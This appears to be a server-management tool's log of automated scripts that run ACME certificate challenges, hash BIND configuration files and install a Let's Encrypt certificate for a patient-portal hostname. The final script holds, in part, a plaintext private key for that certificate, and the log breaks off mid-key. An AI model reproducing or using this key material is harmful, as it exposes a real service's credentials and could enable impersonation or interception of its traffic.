AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-06 06:00:03: Establishing a connection
2026-01-06 06:00:03: Establishing a connection
2026-01-06 06:00:03:
PUT: /tmp/pkp154299
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-06 06:00:04:
chmod 755 /tmp/pkp154299; /tmp/pkp154299; rm /tmp/pkp154299
2026-01-06 06:00:04:
1
2026-01-06 06:00:05: Establishing a connection
2026-01-06 06:00:05:
PUT: /tmp/pkp944710
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > ybeAR49fgHNFUrshBmulQRhbWpA_19h9til0xAJqqHM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ybeAR49fgHNFUrshBmulQRhbWpA_19h9til0xAJqqHM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ybeAR49fgHNFUrshBmulQRhbWpA_19h9til0xAJqqHM
2026-01-06 06:00:05:
chmod 755 /tmp/pkp944710; /tmp/pkp944710; rm /tmp/pkp944710
2026-01-06 06:00:05:
2026-01-06 11:05:24: Establishing a connection
2026-01-06 12:43:15: Establishing a connection
2026-01-06 12:43:39: Establishing a connection
2026-01-06 12:43:40:
PUT: /tmp/pkp200055
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-06 12:43:40:
runuser -l bind -s /bin/bash -c '/tmp/pkp200055; rm /tmp/pkp200055'
2026-01-06 12:43:41:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-06 12:43:48: Establishing a connection
2026-01-06 12:43:48: Establishing a connection
2026-01-06 12:43:48:
PUT: /tmp/pkp471867
#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-06 12:43:48:
chmod 755 /tmp/pkp471867; /tmp/pkp471867; rm /tmp/pkp471867
2026-01-06 12:43:48:
0
2026-01-06 12:44:17: Establishing a connection
2026-01-06 12:44:17:
PUT: /tmp/pkp802680
#!/bin/bash
temp_file=$(mktemp)
TARGET=01745ae0ff7ef97623b09d98f99c6ad6.crt
cat > $temp_file <<'endmsg'
ff:0c:5d:91:3e:b3:83:a1:e0:b1:5b:85:da:ac:82:6e
-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBRpkHN732Po4QbgfbucPMBT4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA2MTE0NTQ2WhcNMjYwNDA2MTE0NTQ1WjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEA4NqrH81sbrFfUiMC4JGU0VbMW72N2rHW7gIJ6TATXDHF
lSRXyz4nmX65+bUIp3ti5NRoOzMvPa04h/zkRPiiCJK1ASB+zt6z3MYzx96xOx2Z
v35mCK3detYZSQDibUu0Y6ydCFKwPqrsWXouDIofqqdcEUcjWVPQY3m7ViqPoGWP
Frtly3AO4NF9KTSN1zK1iXa4AgG/QI7UHkwBAthP4guw/jF5z1YySZxMHYi4akmO
gGRlVvdgHs7hA6NI5h7RK9pSqJLX53FOsgqTi0DGrfw1mtCQA3+zy9y3yPMLdcwc
hJh8h2/f02pAbKCkSKoPKHXPTsd3AHOS5j5MrX6IYQIDAQABo4ICNTCCAjEwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBRyjfcSvXukKmB1DBrI7MuoerSl2jAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHGF0aGVu
YWhlYWx0aC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYD
VR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMjEuY3JsMIIB
DAYKKwYBBAHWeQIEAgSB/QSB+gD4AH4A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSew
AfwcRFjEtugAAAGbk1YrDAAIAAAFAC51gcwEAwBHMEUCIBjKJvDZ3oe/3kTprry2
L1G0eyIke5jLwY8RbDfg7uILAiEA6ha3e1fUsHwjS/e6wn8DmRVsJqjiQXH2kSUf
NsBmIwYAdgDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uVBAAAAZuTViu2
AAAEAwBHMEUCIDM+nkAi/suv3MWedOOwj1Lx7FvnVGQI0HFdQKSrCDuJAiEAppez
7hZUvet+4tlGxWdJ+Gus+YnTEYZQwFDsWKE4LbEwDQYJKoZIhvcNAQELBQADggEB
AHd636KR3uNyK0WsQrBRF+zh0zNALZ4WxmMuQcypWhGP/e4cH7ZP+/JHV+v4P8TQ
GGIIZloHz+QFEgHVH38t6sekcPB1AOG+bvMmMl4JNFEmhjP+HpWBMIHoazgsu87t
0fSQvA23Yh167BQbsH1sm/vWO/dD20cW/Cp+/iZ6tTSjAmEfPPDt/k2bVVu8qlZx
59qQXLaY04tX0qAts9zMXmKoNi/1rBGqD4b8zIFHvfZjSW70yptkB6phfa9lbomi
80aXdnby2bJnoorG2xtafpqLms2WXuJ4fvFPvZJt2c5f4+sw93cGYoJRNjMn7xX6
8gpzfyAejZqzFERg4oWJgwY=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDg2qsfzWxusV9S
IwLgkZTRVsxbvY3asdbuAgnpMBNcMcWVJFfLPieZfrn5tQine2Lk1Gg7My89rTiH
/ORE+KIIkrUBIH7O3rPcxjPH3rE7HZm/fmYIrd161hlJAOJtS7RjrJ0IUrA+quxZ
ei4Mih+qp1wRRyNZU9BjebtWKo+gZY8Wu2XLcA7g0X0pNI3XMrWJdrgCAb9AjtQe
TAEC2E/iC7D+MXnPVjJJnEwdiLhqSY6AZGVW92AezuEDo0jmHtEr2lKoktfncU6y
CpOLQMat/DWa0JADf7PL3LfI8wt1zByEmHyHb9/TakBsoKRIqg8odc9Ox3cAc5Lm
PkytfohhAgMBAAECggEAJuPLKyH1eiO1b9hcXAjx608O42MikMund9zkZ++Hua9m
FAiIIr/qS3MOqXC1QXpmvVs7d9m/dvRpzaNgu8khBUiSg9Jh/FeqVin1tMEAeFAD
UoqDDUc9AkzbbLP5dZvdZEvrkQ/0KbKYVFV8d3DAT1zI4LgkFgQYC8x3KU0NMFlt
Tmhj35oYeoRy+0lVQTn9/UHOnvr3dlI4I1O2DhCRojMqF9UJbE7goS43hYODqnVn
l4bNAaw0rV2me6hH6tMVFlk+at2eFxzl4o9vakYJ66pyPS85MshqYQCDfn0LGgEr
HF3euZLszUABghH8o+dTmo2bEDu+ivbiv6V+5CyFDQKBgQD8rg/g3N7Q9a24Ybcu
uf4q9tTJ++EuI+bUVRnuHNeSeu5d+JkwMvWc17UHs0rlgb5AF5wkDD2vqWiqtyiR
